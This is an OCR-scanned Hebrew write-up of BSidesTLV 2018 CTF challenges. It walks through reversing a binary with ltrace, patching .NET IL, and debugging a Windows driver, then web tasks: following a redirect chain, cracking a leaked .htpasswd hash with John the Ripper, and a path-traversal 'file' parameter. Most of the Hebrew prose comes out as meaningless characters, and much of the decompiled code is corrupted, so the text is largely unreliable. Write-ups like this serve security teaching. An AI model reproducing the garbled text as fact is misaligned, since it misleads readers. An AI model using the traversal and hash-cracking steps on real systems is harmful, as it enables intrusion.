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Misc DockingStation 350 Reversing Into the rabbit hole 500
Misc C1337Shell 350 Reversing HideinplLainsight 750
Misc PySandbox-Insane 900 Reversing Witflol 1000
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Into The Rabbit Hole (Reversing)

Description:
This challenge aims to test your skills in reverse engineering. The flag is combined with 8 pieces,

which together assemble a meaningful passphrase. Download this standalone (executable) file,
and try to catch (build) the flag!
Made By Adir Abraham

wnnwi 11 "0
NY7> TIZ YOp DX ,RNAIT? .[N7W DM0NN9N NIXE NNI90 NIYAIDYT NIXMP 0'9TAN 7D NIN Itrace
HYINY DITNNNAN 'Y DR DRI DX ,DITANN MY 22 DIYNN stremp D'¥21197 X1 XN yapa

OXRNYAN NXRXIN NI

NNO
NINY DX ltrace DY 117 [NMW yaIzn DX YN WKDL)P7 .ITD [NNON T 70 Awn X7 1anKn ann

N2 INWYD DIPNYT NI NITNNA 8 7'Myn? NIn 7V strncpy N'¥71191 WNnwn

:~# printf "\n\n\n\n\n\n\ny\n" | ltrace ./infected 2>&1 | grep strncpy | grep '.\{66%\}"'
x7fffffffde70
x7fffffffdevo
x7fFfffffd
x7TFfffffd

x7fffffffde70
x7fffffffde7e
x7fffffffde70
x7Tffffffde7e

NITNNNA 8 NIIXDY?) VYD NIPFYY NNIY 8 NYIDN7 NY'ayn NAIMNA NTIRoN - 7271 ny'an (yn?
N7'MN DY NNIY 71 %'y D ltrace 7w 0790 NX DTI0N R PR NKR? .(NI727 DY TNY

(N9 NINS NN V79N NINKR) DN 66-1 NIDINRY strncpy

:flag-n NN 7271 ,NNY'1 MWW NRY - base64 NITNNN 8 N2y

BSidesTLV{We_gonna_run_run_run_to_the_cities_of the_future, take_what_we_can_an
d_bring_it back_home._ So_take_me_down_to_the cities_of the_future, everybody's_
happy_and_I feel at home.}
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Technologic

HideinplLainsight (Reversing)

Description:
Is it possible to hide an encryption algorithm in .NET? Or should one resort to unmanaged code

only? In this challenge, you will learn .NET reversing and handle some nasty IL bytecode in order
to get the flag. Are you up to the challenge?
Made by Omer Agmon

wnnw 11 "0
AYONN 70N ,901M2 .17W 1NN TIR 11D VYND INIR XAl 7901 NET yalp 2ann 25 Xin dnSpy
novw xX'nw LCIL now? 7onipn .NET TIPW X' ,NXRT NIYY? INIY D200 .TIPN DK NNRYW71 22717
NMIdN Now? nnamn CIL-0 NOY ,NIDINN NXM AT, 191 NXK7 .Ndn now? .NET now |2 0"

XA X1

NNoS

:N12N7 VIYD NoN' TIE 117 aXI' ,dnSpy DY N72'PY YaIzn NN'MD NRY

IRIN TIPN 910271 ,byte[] array NINwn Ty 2 Tam o0 WNXY?

[1)e53));
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Technologic

NO9TN INNY7 NRXI' N'DNN o2 DX LINIX D'22T OKX PTIA TN ,N7'NNY |':m'7 [N, TN IR

.(5-10 nnIw) ntNnn v

71Ny 1o0nn DX .(Guid VPR 7Y hash) INW7) seed Dy 312-7 0 |'2 190N 7an RIN,[oN WNKRY
75w |11'Dn ,NMONN 7Y NTIN NXN2 T NPT DR 11Y7 [N K7W 2D DRXIEF NYDINN L,312-n jup
D'NAa wnl il MR 17 0N wn YTam LRI L(11-14 nnig) 312-n 01207 1N D'72mn 0sonn
X Y7nn NXIN - AN faynn 72700 nip nwd L(15-178 nNiv) Ninimn2 y'oi X7y array 0w q0i
N"T - X729 M1 il wnn NX Tan (179 nniw) ilasByteArray In7 n'ndin ntdnn v CIL-n

Y07 |Imaw CIL on il 3vna AN

,9101%7 .(188-192 nNIw) byte 019'0N DDV NI'NY DTAIN N'YPIION 7 DIVAON WYY |'NI)
201- nNIY) N7¢ N¥MIN NRXIN DX 0'9TNI D'VINIAKD ilasByteArrayl array DY n'¥j197 K17 XIN
N'DNN 7Y TIEN DR 97007 Nx11 ,NRT DIWY? Nin v .awiy il 7vna Tign an fan? nxn (206
,JINT NIWYY NI 7y .NAipmin n2oNn 7w CIL-n 2'nnin p'n 07221 ,0'7'NN il vnnn Tz nnipmn

:"Show Instructions In Hex Editor"-n Nn71y9 Nx yxann Ctrl-X yin%7 |n1

:NN9Y hexeditor-n 72V 12OV NX 11aYa ,NIKIND DNI?'NNN [2'0 NI7a%7 nan 7y
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Technologic

DX .0x28 NIN [IUXIN N'AN NRT XTH? 2212 .yal7a 0x254 00'N2 NIZ'NNN NIKIINNY NNNIX NRT

;X1 L CIL-N NIRAIN 7D IR IRNNN D'T9'' 9T 70N0)

| 0x28 call <method> Call method described by method. |

NX'NY7 PN ANKRTE M 297 T Y IR NIRN? N1) call-a 7'nmne 07w Tign 9w CIL-7 o'knn N1l

:("Edit Il Instruction" 7v

Index Offset OpCode Operand

get that.”

e don't

(
.0ma 0x1BD NI NN 7Ta X't ,0x2A NfQ NiNTNoN NIXIINNY AN [OIN INIKA
NN [IN''9N I NIYXNXA YalP? il Dnoonn 1wn NX 1'm

il=[(32,70,76,69,127,10,22,11,22,12,32,0,62,0,2,13,32,0,0,0,1,19,4,32,0,06
4,4,0,19,5,22,19,6,32,0,1,1,2,19,7,22,19,8,43,49,17,8,31,11,48,15,3,17,8
,3,142,105,93,145,3,142,105,88,210,43,8,3,17,8,3,142,105,93,145,19,9,2,1
7,8,2,17,8,145,17,9,97,210,156,17,8,23,88,19,8,17,8,2,142,105,50,200,6,7
,54,18,9,8,54,14,17,4,17,5,54,8,17,7,17,6,54,2,20,122,2,42]
il=''.join([chr(c) for c in il])

open ('wub', 'wb') .write(il)

NIKINN DX 97007 O UnNwn? nx1l 0N ,0'Na 125 7onw wub yalzgn DX 17 W' Nwd
"T* 7V D'NAN 75 DX j7'Nwa ,hexeditor DY wub MR NN9) ,NKT NIYY7 NI 7Y .N"DINN 7@ DIMimn

oy 7211 ,(0x254) NI7'NNN NIXKIINN 12 VO'NY7 11 ,172'PY yalpn 7w pniy NNoa |, Ctrl-C-1 [In'o
.Ctrl-V

R'AY NYTIN '73|7] ,dnSpy NIY¥XNX2 NIYTNN NIRIINN DY Yalpn DX NINS7 N0 TWUND ,NYD

Main ¥ NIXAINN DX NOYTY 1N 21N AT .01 1'K 17 n9¥Nn dnSpy-¥ D'VINIARN 190N

.byte[] 019'0n D'VINIAIX W N7APNAN NXPAD DY args DY TTIA NITINNN WA N7
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https://en.wikipedia.org/wiki/List_of_CIL_instructions

Technologic

YN'71 .0¥22190 DX Y7 117 AwoKnn 170 NNo' LAlt-Enter T8I Main 7y YNn'721 ,NRT |7N7 nin 2y

Y90 YW Nn'Mnn DR N7 Nan 7y Signature 7y

Main Signature Params Generic Params ImplMap Overrides Custom Attrs  Sec Decls

Systermn.Void (System.String[])
Flags
[ | HasThis [ | ExplicitThis Calling Conv Default - Retum Type.. % Generics 0

@ Method Parameter Types

Type Genericlnst

System.5tringl]

Cancel

oI19'uN D'VIMMIANRN Y I71|7'7 N2MX N'X2I9N - "N Tignn 12'7'2W NN '97 DNUVNION NN D'RM

:019'0 ININA NINWN TNV, byte(]

Main Signature Params Generic Params ImplMap Overrides Custom Attrs  Sec Decls
System.Byte[] (Systemn.Byte[], Systern.Byte[])

Flags

[ | HasThis [_| ExplicitThis Calling Conv Default  ~ Return Type.. # Generics 0

@ Method Parameter Types

Type GenericInst

Systemn.Byte[]
System.Byte[]

BSidesTLV 20187w-CTF N MANKX [INNDS
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Technologic r

ile
odBuilder =

TTIPN DX 117 ATNWY NY72¥N N1DINN NYd

[1 ilasbytearray)

3¢ Jilasbytearray[guid ¥ ilasbytearray. 1+

ray[guid] © num);

LyName != array rpeBuilder != methodBuild bj != signatureHelper)

N7I7wW N"DN QM) .array YRR DX NIWSY? Nan 2y nMipnn Nonn e CIl-a wnnwn Tipn

7w TIpnn Nip2a y7n7 N array DX .(ilasbytearray-1 array) 011210 DMONI9N DX N7apnN N7wn

D"OAIIN D'NAN DX Y7NNN IN'D TP NIWYNKNA Y77 N1 ilasbytearray DRI NMIENN NONN

.C#-2 D'N2 7wn 7w ni¥a Dnix 0'91l L, (Yalza 0x254 vo'nn 7nn 0'na 0x1BD)

2 X' n'npwn N'DNN .0DNIMMN DNNYNNL DTN D NX 7NNMY |2Ind
wabbalubbadubdub

[] giveflag(byte[] enc_arr, [] code_il_arr)

i=0; i < enc_arr.Length; i++)

num = )((i > 11) ? code_il arr[i ¥ code_il arr.Length]

(( )(code_il arr[i % code_il arr.Length] + code_il _arr.Length)));
enc_arr[i] = ( Y(enc_arr[i] * num);

enc_arr;

Main( [] args)

[] code_il = [1]
[] array = [l s

BSidesTLU{Look,. Rick.

e.WriteLine(Encoding.ASCII.GetString(giveflag(array, code_il)));
e.ReadKey();

:flag-n NX 7271 ,N¥1n1 1907 TNX

I know IL%>
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Technologic

Wtflol (Reversing)

Description:
Can you get the flag?

Made by Kasif Dekel

YUNNv1 DN 0'790n

NININ 72wa WinDBG+VirtualBox-2l ,1172'7w yaipn 7w '000 NN y¥a7 1 IDA-Q wnnea

.091 N'VY 1A 7w 1NRNA RIXNY YWOX DNYW AT Windows-2 D'AMIT 7V 210 1200 MK

NN9
Windows n'7u9nn N>yn? Driver INT - N1am 'T N'IDNN 7¢ 27190 0T ,'OXKVO NINY NIYYNAX]
NX NONT DriverEntry-n nvxja19 .(PE a10n XNl yalpa nnvj DriverEntry-n N'¥119W [11'dN)
My 07 "amTa ynn axpao oy \\Driver\\Null 7w 10-ctl handler-n N9
DMWY DRI N7 [NIY buffer-n 127 Inwn NpTIA X' 110N ,"check_something_then_print_flag"

:flag-n MR D72 TX ,NP'TAN DX

357| RtlInitUnicodeString({&DestinationString, L™\\Driver\\Null™):

358| decode_arr1_and_al_until_a2(&DbgPrintStr, 9);

359| some_page_reg_value = _ readmsr (BxCO0080882) ;

368| driver_page = find_driver_page {some_page_reg_value};

361| qmemcpy{8v14, "This challenge is =fully= compatible with windows 8 and above.\n\n", @x41uig4);

362| sub_148883CCA{some_page_reg_value, 12i64, {int =)1}):

363 w1 = B;

364| v3 = ObReferenceObjectByMame (RDestinationString, 64i64, #i64, B8i64, IoDriverObjectType, v1, Bi64, Bdriver_object):
365| print = save_kddll_and_return_print{{ intca}driver_ page, &DbgPrintStr};

366 {({void (_ fastcall =} {char =)}print) {Buvid):

367 if (vi>=8)

368| |

369 device_ctrl_backup = driver_object->MajorFunction[8xE];
378 driver_object->MajorFunction[8xE] = {PDRIVER DISPATCH}check_smth_then_print_flag;
371| }

372 else

373

374 v3 = -1873741275;

375 }

376 if { v3 < 8 BR driver_object }

377

378 ObfDereferenceObject{driver_object});

379 driver_object = 8i64;

388

381 return {unsigned int)vi;

382}

NIXNN TIZ DY aXn N NINWION |0 ,vnwn ,obfuscated INY NITNNN NN N7'O>n NdNN

Am

for {1 =8; 1 ¢ 8x19; ++i )
w({_BYTE =}loStatusPtr + i} = {{"{{i = {{{{{{{-{char}™{{i ™ (i
+ i

000 T QT T (T T (T (=((_BYTE =)IloStatusPtr + i)
+ 6B

- 54) " 8x1E)
- iy T oexIn)

-1 “ Bx36)
- :ﬂa) “ BxER)
+32) " oBx3m)
- 1))

+ 181} ~ 0xB1)
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https://www.digitalwhisper.co.il/files/Zines/0x5A/DW90-1-ExploitKernelAndPE.pdf
https://www.abatchy.com/2018/01/kernel-exploitation-1

Technologic

.buffer-n NX NMwoNnn c T 2ANd7 N1 ,nnY'on 197 buffer-a X¥n1 nn OWTIY IR DOXY [2IND
-1 Unnwn? TWOK ,NIy'on NX buffer-a X¥N1 nn D'WTIY X DX - YOXR 19NN [N D2

.nny'on 197 buffer-n 7Y NX NI72% nin 7y nfa-n bruteforce

NNMyn NITNNN "My M7 buffers-n 2N 7y NXTY N71V90 DX 'MyXAY 1NK7?

IC:\Windows\Temp\kd.d1l1l.bbbb %p ;g

as /e fuckthat PROCESSOR_ARCHITECTURE; .block
{.if($spat(@"${fuckthat}","x86")==0) { .writemem C:\Windows\Temp\kd.dll %p
1?%x;!1C:\Windows\Temp\kd.dll.aaaa %p;g} .else {.writemem C:\Windows\Te
mp\kd.d1ll %p 1?%x;!C:\Windows\Temp\kd.dll.aaaa %p;g}}

"save_kddll_then_return_print" '"mXy7 n? N'Xj721191 yxann (Arr1 WIDJ) NMIYXIN NTNNNY YIn'wn

39| =xor_key = BxFDu;

ad| v14 = @xEDu;
41| w15 = @xDDu;
42| w16 = BxCDu;
43| w17 = 8xBDu;
44| w18 = @xADu;
45| v19 = 8=D;

46| memset{Bv20, B, sizeof{v20)}):
a7 for { i =08; i < xored_len1; ++i )

a8 xored_arr_1[i] "= ={B=or _key + (signed int}i % -8);

49| for { j = 8; ] < xore_len2; ++j )

50 xored_arr_2[j] "= ={&=or key + (signed int)j % -8);

51 for { k=8; k < v8[6]; ++k )

52

53 if { t*memcmp{{const void =) {={unsigned int =} {viB + 4i64 = k) + v23), Buf2, {unsigned int) {v7¥ + 1)} }
54 {

55 print_func = ={unsigned int =} {v12 + 4i64 = ={unsigned _ int16 =} {v11 + 2i64 = k}} + v23;
56 break;

57 }

58

59| decode_al_until_a2{Runk_148887808, 8);

68| v2 = find_driver page{some_page_reg_value):

61| ={ OWORD =)sscanlf = decode arr3_and{{ int64a}v2, Zunk 1406007888} :

62| ({{void {_ fastcall =}{char =, _BYTE =, _BYTE =, _QWORD, _BYTE %, _BYTE =, int, _BYTE =)}sscanf) (
63 Routput,

64 arrl,

65 xored_arr_1,

66 {unsigned int)xored_len1,
67 uzed_in_memcmp,

68 xored_arr_2,

69 ®%ore_lenz,

78 used_in_mencmp} ;

71| run_in_debugger{{ intG4)qword_1480858D8, { intG4)Boutput);
72| return print_func;
73

I7,\1) MXI'T NIN'IN IR ,n'XP]IQ'? DUNT9] NIMIANNN sscanf-2 D'YNNYNAY NTAIVN DX NI7AY N1

.(WinDBG-2 n'¥j22190 NO9TNI ,61 NMIWA N'Y22190 NTNINY INKY? DNY DT T

NNONN NIYXNX] D'NWISAN xored_arr_1/2 'MxIj DN7 [ND'T2 DNITR Y Y'Y 17 'y ,qon
-7 nann M2 o'wnwnn dil '¥ap I 731 ,0NIK N1Y91 DX .N10NNN 7V X¥NIn xor_key yiapn
N9 MY DNIYA ¥ g0 .x86 1Ay Iwnl x64 NMIIVZVDIN 1Y DNN TNR .WinDBG

DANKT? DNIYR 19X DY T¥D |21 2NjA .bbbb-1 aaaa - ni'yn
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Technologic

:"check_something_then_print_flag" 'MIXIj? N7 N'¥j72192 y¥ann (Arr3 1IN2) N"Mwn NTNNNY WIN'wn

UserBuffer = aZ2[1]. Tail. Overlay. DeviceQueueEntry. DeviceListEntry. Flink;
if { LODWORD({UserBuffer[1]. Blink) == 8xCB7FCA84 )

IoStatusPtr = a2->IoStatus. Pointer;
UserInt = (unsigned int)UserBuffer[1]. Flink:
if { TostatusPir &8 UserInt >= 8x19 88 UserInt <= 0x488 )

memset (&9, B, Ox1Buicd):
qmencpy (&secret_param, IToStatusPtr, Bx19ui6d);
for {1 =8: i < 8x19; ++i )
=({_BYTE =}ToStatusPtr + i} = {{7({i ™ (({{{{{-(char)™{{i " (i
+

1
700 T (0 T 0T (0T (T{=({_BYTE =) loStatusPtr + i)
+ 68
- 54} © Bx1E)
- iy " exF1)
- 79))
+ 1))
+ 1))
- i)
- 28
-1
+ 1
- 1) " 8x36)

-1
- 183} " BxE6)
+ 32) 0x39)
- i

+ 181) " 8xB1)
if { !memcmp({loStatusPtr, used_in_memcmp, 8x13uiG4) }

{(void {_ fastcall =) {char =, BYTE =, char =}}sscanf}) {(&scanf_output, arr3, Bsecret_param):
memset{{char =}&flag + 1, 8, Bx1BuiG4):;
qmemcpy (&1lag, Bsecret param, @x19uiGa);
decode_flag_and_format_then_print{{ intca}&flag}:
if { used_in_memcmp[1] == @x47 }
run_in_debugger {{ intG4)qword_ 1408051108, { int64}8scanf output);
}

}

MXIZ N7 ANA9N DR PY [N ?flag-n IR 0'9TAY MINKY ANAI9N ITY MYT NI

nY NNWON - MNIXK N7Y DYDY NN DX P72 nwivn L "decode_flag_and_format_then_print"

"Your Flag is: %s" nTnnnn NX 7'onn format-string XIn Dnn TARY ,0MAT

format = Bx2FAF51087FFFAG5i64;

vE = 35;
vh = 3;
v = 18;
vig
v13
vis
vig
vE = B4;
w12 = 36
vi = 59;
for { i = 8: j < 0x13; ++j )
*({_BYTE <)&fornat + j) = N o .
| L S N G N G T B £ 4 B § B o .
L SRR € € (ST 4 B
LS R S
o (o .
OGO T 0 (7 < ((UBYTE <) 8format + j)}) - 29))
+12))
+1
- 86) " 0x34)
-1
- 117 R
. - i1} T ex1B)
- 1) 7 8x23)
+ 1) 7 exce)
- 113))
-1
- 168))
+ 1) * 8x3F)
+ a9
-
+ 83))
+ 81)):

return {{ int64 ( fastcall =){ int6a =, int64))print) (Rformat, flag);

.WinDBG ¥ TIj7 Ind> NIXMI |0 - NI*yN NITNNAY N1t

BSidesTLV 20187w-CTF N MANK [INND
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Technologic

,save_kddll_then_return_print ,NIIYXIN N1"lynn NTNNN2 D'YNNWYN 12 DIpn? NTNN DX

:run_in_debugger 'MX{7 N7 N'¥719 IXON

|?1| run_in:deﬁugggr{[__intEﬂ}qwnrd_1ﬂﬂﬂﬂﬁﬂnﬂ, {__intEﬂ}Ruutput};|

- Wtflol-n 0121 X1 .7 LINIARNA NTINNAN DX YIN? WinDBG-7 Nn1ia n'¥z19n ?nainn nn
I(n7w MdpNN) hypervisor-n 72y N'7R10711IN NIDNNNA TIR Y07 ,'NW?7 10T ,NM7%0 ANKD AND

:NXM run_in_debugger-2 Ty pnyni ox

18 »2 = -1i64;
11| v8 = al;

12 »3 = -1i64;
13| do

14 ++v3;

15| while { ={ BYTE =)}{v3 + al) }:

16| v7f = v3;

17| vb6 = to_run:;

18| do

19 ++u2;

20| while { ={ BYTE =)}{v2 + to run} };

21 vh = v2;

22| return _debugbreak{{ int6a)}Bv7, { int64)Buv5, 5u}):
23 [}

:_debugbreak-2l

result = a3:;

__asm { int 2Dh; Windows NT - debugging zervicesz: eax = type }
__debugbreak():

return result;

1=y == R = I |

}

NTNNNN 72V "aynn - ™8 .(!Inmontag NTIN) D91 N9 DNA0NN 7V IAY7 [N ,NIP 0T 'R 12007

as /e fuckthat PROCESSOR_ARCHITECTURE; .block
{.if($spat(@"${fuckthat}","x86")==0) { .writemem C:\Windows\Temp\kd.dll %p
1?%x; 1C:\Windows\Temp\kd.d1l1l.aaaa %p;g} .else {.writemem C:\Windows\Te
mp\kd.d1ll %p 1?%x;!C:\Windows\Temp\kd.d1l1l.aaaa %p;g}}

MIY RINY YaIzn .0kNNA kd.dIl Dwa yalp Mmive,Taynn MIVguDIR DR 7T TIRnY NIKYT7 NI
, NV YAIZNY INK7 .Taynn MIVRLVDINA NITND L,(N1IW'S TNKY) DTN 2 IR xored_arr_1 NIn
D'YNNYN 12 used_in_memcmp 7¢ NAIMDN KINY 011 T0UND DY aaaa N'¥j7aIoN NX YN XN

Icheck_something_then_print_flag n'¥j7192

BSidesTLV 20187w-CTF N MANKX [INNDS
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https://recon.cx/2010/speakers.html#debugger
http://j00ru.vexillium.org/?p=405

Technologic

DX |27 ,777p0 [ND>'T2 used_in_memcmp 7¥ YN DR NIWN aaaa N'YjIonw 2'on? 71 [Xon
,0TI7 MyxnY '95 N1-n12 bruteforce NIyxnXa secret_param NX "nNINK Nyo?" n'om '

JTIMRD YN DR X71WN"a am

NAMd2 DWW DX YN X1 ,used_in_memcmp ¢ NAMOdN DV aaaa NX YN DX TX
NN YN71 L1020 secret_param NX WTNWY 7211 ,nwd Inanwin pR XInw 7271 used_in_memcmp
,NAIMD ' 17 NN WWOK) MTN'WW secret_parami X¥N1 N2 Nand oy kd.dlin bbbb nrxjpawn

NTNNNN 17 09TIN ,NNT NWYIY TNKYT .(D'YJ'NDYJn D'NAN NN N2 12NDW INXY

Please continue from here, the pointer to your flag is 0©0007ffc3de56010,
remember to look at the bigger picture :)

NAMdNYI ITN NTNNNN NO9TN 7V N'RINKN IT X'NY 0721 kd.dll-n bbbb n'¥ja19n 7w 00an Nnx
29 ND'17 dump Nwya .1N7w NadNa WinDBG 9w [N>'1a kd.dll 3ima nxyna 00007ffc3de56010
ITh NAMd2 D'NAN DX Y771 dump-n DX a2T? 1D WinDBG TIv nnoa  ,WinDBG

.(WinDBGception)

M2IMN 09T IMIX D'¥YNWD - TN elf yaip 721 ,NRT nWYIY 1NN

:NITIN AXRIIN DY DNIY 21N 0721 IDA Dy Yal7n NX MN91 DX

. text:88098D004 loc_8@898D04: : CODF XRFF: sunh fRAar912+5A3Fc T

. text:88098D04 vimaddsub132ps xmm8, =xmm1, xmmword ptr cs:[edi+tesi=4+8183428h]
. text:B8098D0F lea ebx, [ecxtecx]

. text:98098D12 add ebx, ecx

NNoNY7 wnwnn 7D 7w nntaonn naxnt v L"vimaddsub132ps xmmO0, xmm1" 7w Zian Ky

lIDA 7w basic-blocks 912 N2 nimn

BSidesTLV 20187w-CTF N MANK [INND
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https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEFCON-23-Chris-Domas-REpsych.pdf

Technologic

;9012 0w 1000-n N AN AwoNn K7 IDA-Y NTAIVA NIX NZ'MY NNK 91aN DR NINSY7 nomn

:flag-n Nx 721
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Technologic

RedirectMe (Web)

Description:
https://www.youtube.com/watch?v=hGlyFc79BUE

http://one.challenges.bsidestlv.com:8081/
Made by Tomer Zait and Nimrod Levy

wnnwi 11 "0
2V TN7 CWONN XIN ,901M 0™y NNl HTTP Niwpa MmN AIY7 TWOKRNN '07N9 KIN Burp

.Repeater X730 71TIn NIYXNNA NIK 1Y 1'RW HTTP niwpa

N9

NKYT D'012IWD NI NN NIXTY7 NN 7y Burp-2 wnnea

# 4| Host | Method | URL | Params | Edited |Status | Length
1 http:/fone.challenges.bsidestl... GET ! 0 U 302 456
2 http:/fone.challenges.bsidestl... GET Jindex.html 0 U 302 444
3 http:/fone.challenges.bsidestl... GET /1.html O O 302 564
4 http:/fone.challenges.bsidestl... GET /L.html U U 302 564
5 http://one.challenges.bsidestl... GET J2.html J J 302 564
6 http:ffone.challenges.bsidestl... GET /3.html )] )] 302 564
7 http:f/one.challenges.bsidestl... GET /4.html U U 302 564
8 http://one.challenges.bsidestl... GET /5.html 0 0 302 564
9 http:/fone.challenges.bsidestl... GET /6.html U U 302 564
10 http:f/one.challenges.bsidestl... GET J7.html U U 302 564
11 http:/fone.challenges.bsidestl... GET /8.html O O 302 564
12 http:/fone.challenges.bsidestl... GET /9.html U U 302 567
13 http://one.challenges.bsidestl... GET J10.html J J 302 567
14 http:ffone.challenges.bsidestl... GET /11.html )] )] 302 567
15 http:f/one.challenges.bsidestl... GET /12.html U U 302 567
16 http://one.challenges.bsidestl... GET /13.html 0 0 302 567
17 http:/fone.challenges.bsidestl... GET /14 html U U 302 567
18 http:f/one.challenges.bsidestl... GET /15.html U U 302 567
19 http:/fone.challenges.bsidestl... GET /16.html O O 302 567
20 http:/fone.challenges.bsidestl... GET J17.html U U 302 567
21 http://one.challenges.bsidestl... GET /18.html J J 302 567
22 http:ffone.challenges.bsidestl... GET /18.html )] )] 302 458
23 http:f/one.challenges.bsidestl... GET /L.html U U 302 458
24 http://one.challenges.bsidestl... GET J1.html 0 0 302 458
25 http:/fone.challenges.bsidestl... GET /L.html ] ] 302 458
26 http:f/one.challenges.bsidestl... GET JL.html U U 302 458
27 http:/fone.challenges.bsidestl... GET /1.html O O 302 458
28 http:/fone.challenges.bsidestl... GET /L.html U U 302 458
29 http://one.challenges.bsidestl... GET J1.html J J 302 458
30 http:ffone.challenges.bsidestl... GET /1.html ) O 302 458
31 |http:fjone.challenges.bsidestl... | GET f1.html UJ UJ 302 458

-7 D1INI D'P091 redirects-n N INX7 ,18 TV ,N71V 1TO0Q DN190N DY redirects NN 02270 1K

:19.html-7 redirect nWIYI N1y 117 [N [9TOTNW NX1A1 18.html TN 7w nwpa? nana jpiam .1

HTTP/1.1 302 FOUND

Server: gunicorn/19.8.1

Date: Sun, 24 Jun 2018 17:23:23 GMT

Connection: close

Content-Type: text/html; charset=utf-8

Content-Length: 223

Locatlon: http://one.challenges.bsidestlv.com:8081/19. html

Vary: Cookie

Set-Cookie: session=eyljb3vudCIBeyIgYiI6IklUaz0ifX0.DhFlCw,plf-1IwENEIlmpUCZSPeSNNCyso; HttpOnly: Path=/

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"=>

<title=Redirecting...</title=

<hl>Redirecting...</hl>

<p>You should be redirected automatically to target URL: <a href="/19.html">/19.html</a>. If not click the link.

BSidesTLV 20187w-CTF N MANKX [INNDS
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https://www.youtube.com/watch?v=hGlyFc79BUE
http://one.challenges.bsidestlv.com:8081/

Technologic

17 NYUPAN NXILIT7 NINIY NPAIYN DY session NIK 97N - repeater NIYXNARA NYPAN DX [7M

:19.html

GET /19.html HTTP/1.1

Host: one.challenges.bsidestlv.com:8081

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11:; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/64.0.3282.186 Safari/537.36

Accept:

text/himl,application/xhtml+xml, application/xml;q=0.9,1mage/webp,image/apng, */*;q=0
.8

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Cookie: session=ey]]b3VudCIGeyIgYiI6IklUaz0ifx0.DhFliw.1LVLmlz8swS2YQoeXRpndwmcDU
Connection: close

:20.html-7 redirect 22j71 ,ny>

HTTP/1.1 302 FOUND

Server: gunicorn/19.8.1

Date: Sun, 24 Jun 2018 17:25:45 GMT

Connection: close

Content-Type: text/html: charset=utf-8

Content-Length: 223

Location: http://one.challenges.bsidestlv.com:8081/20.html

Wary: Cookle

Set-Cookie: sesslon=eyl]b3VudCIGeyIgY¥iI6Ik1qQTOLTXA.DhFImG. wSKL-NWpxduebv]GxZYelNXRTmdk;
HttpOnly: Path=/

<IDOCTYPE HTML PUBLIC “-//W3C//DTD HTML 3.2 Final//EN"=>

<title=Redirecting...</title=

<hl=Redirecting...</hl=

<p>You should be redirected automatically to target URL: <a href="/20.html">/20.html</a>.
If not click the link.

119972 NN redirects NN TIY AINKXY .20.html DX W21 ,[9TOTA N2AIYA DX |71

The flag is here! check the response :)

:Burp-2 nawinn naIvnn DX 0'pTIAY NNy ,]INI

HTTP/1.1 382 FOUND

Server: gunicorn/19.8.1

Date: Sun, 24 Jun 2013 17:30:08 GMT
Connection: close

Content-Type: text/html; charset=utf-8
Content-Length: 39

FLAG: BSidesTLV{DontFO@rgetR3spOns3H34d3r}
Vary: Cookle

The flag is here! check the response :)

BSidesTLV 20187w-CTF N MANK [INND
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IH8emacs (Web)

Description:
What sucks so much is that i can never find the backup i am looking for...

http://one.challenges.bsidestlv.com:8443/
Made by Nimrod Levy and Tomer Zait

NNoS
X WIo'n ANXY7 .emacs N1INN T 7V XY 1A Yal? D'YUSNN IR D ,‘z'on'7 [N "ANKXN AIXR'NN

(=) 077N nro oy NINN yYaipn 'Y Dwn "7pa 120 ¥ap X emacs-v 11'7'a 723

MVNN DX PN TR 1IRXN ANNRA QYR Q'O MNXR

<!-- <a href="./administration">Login to administration page</a> -->

|

I|"avn ynwa - 710 qT 7y nyaxny

17¢ NIXNO'ON YAl CWR LHTTP 7w NIRWAN NIN'R 0910 171N YOI ININAN 2277 N0'DN TNKY

nikwIN "y "Dion" yaipn 111yx? I8 .07 2101 0'0%0%7 XD "/administration/.htpasswd"-2 [onixn

a2l ...~ q'o11 .emacs 7W '12'A D7 DTN YaIR? DR 21722 '8 W 17 'REDWD 7w

bsidestlv:$apri$inkKuU7Tz4$2bEA1GT1z/0skDAE2EnWOO

NIIPNN NNO'oN NX NI7a7 nan 7y .(hash) N2aan NNO'Ol wnnwn oW 7'onn Yalpn DX 172y

TIX YNl pass_hash yaljpa nno'on NX N1 .john the ripper - NT 210N DAIA'A YII9YW 701 WNNW)

revirtux@revirtux: ~ftmp

t t

t stdestlv '
ONE 2 i

:flag-n NX 72221 NTN'WW NNO'ONI YaINn YNNWN DWN DY 010)

BSidesTLV{D@OntFOrg3tB4ckupF113s}

BSidesTLV 20187w-CTF N NANKX [INNDS
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http://one.challenges.bsidestlv.com:8443/
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication

Technologic

Creative Agency (Web)

Description:

Beautiful mirror, mirror on the wall, who's the prettiest of them all? The flag is in:
/home/bsidestlv/flag.txt

http://two.challenges.bsidestlv.com:3333

Made by Tomer Zait and Nimrod Levy

INNO
PHP 091702 WIN'Y 'T* 72V NID7WI ANKA NRINNN 22U 1'A'T INRD 7 pnn T2 van INKY?

NNAN NMIX2 NMY TX2 RXNIN

‘/img?file=5dr'1»aom/5w1/'

ANX 1IRXN VOZLN ND'9N MNKX 722 7w Nayn NKRY? flag.txt yalzn DX DTN NANIKA QI7W7 Ny

UM% ININY

‘/img?file=1x1'BEjj/Ajlsaplsq/awoq/

ynnn nKn

‘Error: ENOENT: no such file or directory, stat '/app/home/bsidestlv/flag.txt’

2270 DX 77 L oy IR DN DN '
i i

